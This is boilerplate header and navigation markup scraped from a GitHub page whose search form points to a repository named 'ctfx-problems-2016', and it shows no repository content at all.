<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="62685294" data-scoped-search-url="/ctf-x/ctfx-problems-2016/search" data-owner-scoped-search-url="/orgs/ctf-x/search" data-unscoped-search-url="/search" data-turbo="false" action="/ctf-x/ctfx-problems-2016/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="4U/Axcuoni442hHqTbgPljLh+iDk1TjY3qSt2MbTdfqnmsjOBHoLlysFHFTbXUPuKbSLA8FVA9V60C8+uj4ZLw==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this organization </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
